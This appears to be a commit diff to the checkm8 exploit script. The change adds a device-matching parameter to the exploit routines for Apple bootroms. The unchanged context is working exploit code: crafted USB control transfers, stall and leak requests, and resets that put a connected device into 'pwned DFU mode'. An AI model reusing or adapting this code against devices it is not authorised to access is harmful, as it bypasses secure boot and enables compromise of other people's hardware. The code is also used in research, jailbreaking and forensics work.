@@ -626,10 +626,10 @@ def exploit_config(serial_number):
626626 sys .exit (1 )
627627
628628
629- def exploit ():
629+ def exploit (match = None ):
630630 print ('*** checkm8 exploit by axi0mX ***' )
631631
632- device = dfu .acquire_device ()
632+ device = dfu .acquire_device (match = match )
633633 start = time .time ()
634634 print ('Found:' , device .serial_number )
635635 if 'PWND:[' in device .serial_number :
@@ -651,7 +651,7 @@ def exploit():
651651 dfu .usb_reset (device )
652652 dfu .release_device (device )
653653
654- device = dfu .acquire_device ()
654+ device = dfu .acquire_device (match = match )
655655 device .serial_number
656656 libusb1_async_ctrl_transfer (device , 0x21 , 1 , 0 , 0 , 'A' * 0x800 , 0.0001 )
657657
@@ -662,7 +662,7 @@ def exploit():
662662
663663 time .sleep (0.8 )
664664
665- device = dfu .acquire_device ()
665+ device = dfu .acquire_device (match = match )
666666 usb_req_stall (device )
667667 if config .large_leak is not None :
668668 usb_req_leak (device )
@@ -675,18 +675,18 @@ def exploit():
675675 dfu .usb_reset (device )
676676 dfu .release_device (device )
677677
678- device = dfu .acquire_device ()
678+ device = dfu .acquire_device (match = match )
679679 if 'PWND:[checkm8]' not in device .serial_number :
680680 print ('ERROR: Exploit failed. Device did not enter pwned DFU Mode.' )
681681 sys .exit (1 )
682682 print ('Device is now in pwned DFU Mode.' )
683683 print ('(%0.2f seconds)' % (time .time () - start ))
684684 dfu .release_device (device )
685685
686- def exploit_a8_a9 ():
686+ def exploit_a8_a9 (match = None ):
687687 print ('*** checkm8 exploit by axi0mX ***' )
688688
689- device = dfu .acquire_device ()
689+ device = dfu .acquire_device (match = match )
690690 start = time .time ()
691691 print ('Found:' , device .serial_number )
692692 if 'PWND:[' in device .serial_number :
@@ -707,7 +707,7 @@ def exploit_a8_a9():
707707 dfu .usb_reset (device )
708708 dfu .release_device (device )
709709
710- device = dfu .acquire_device ()
710+ device = dfu .acquire_device (match = match )
711711 device .serial_number
712712 libusb1_async_ctrl_transfer (device , 0x21 , 1 , 0 , 0 , 'A' * 0x800 , 0.0001 )
713713 libusb1_no_error_ctrl_transfer (device , 0 , 0 , 0 , 0 , 'A' * padding , 10 )
@@ -716,7 +716,7 @@ def exploit_a8_a9():
716716
717717 time .sleep (0.5 )
718718
719- device = dfu .acquire_device ()
719+ device = dfu .acquire_device (match = match )
720720 usb_req_stall (device )
721721 usb_req_leak (device )
722722 usb_req_leak (device )
@@ -727,7 +727,7 @@ def exploit_a8_a9():
727727 dfu .usb_reset (device )
728728 dfu .release_device (device )
729729
730- device = dfu .acquire_device ()
730+ device = dfu .acquire_device (match = match )
731731 if 'PWND:[checkm8]' not in device .serial_number :
732732 print ('ERROR: Exploit failed. Device did not enter pwned DFU Mode.' )
733733 sys .exit (1 )
0 commit comments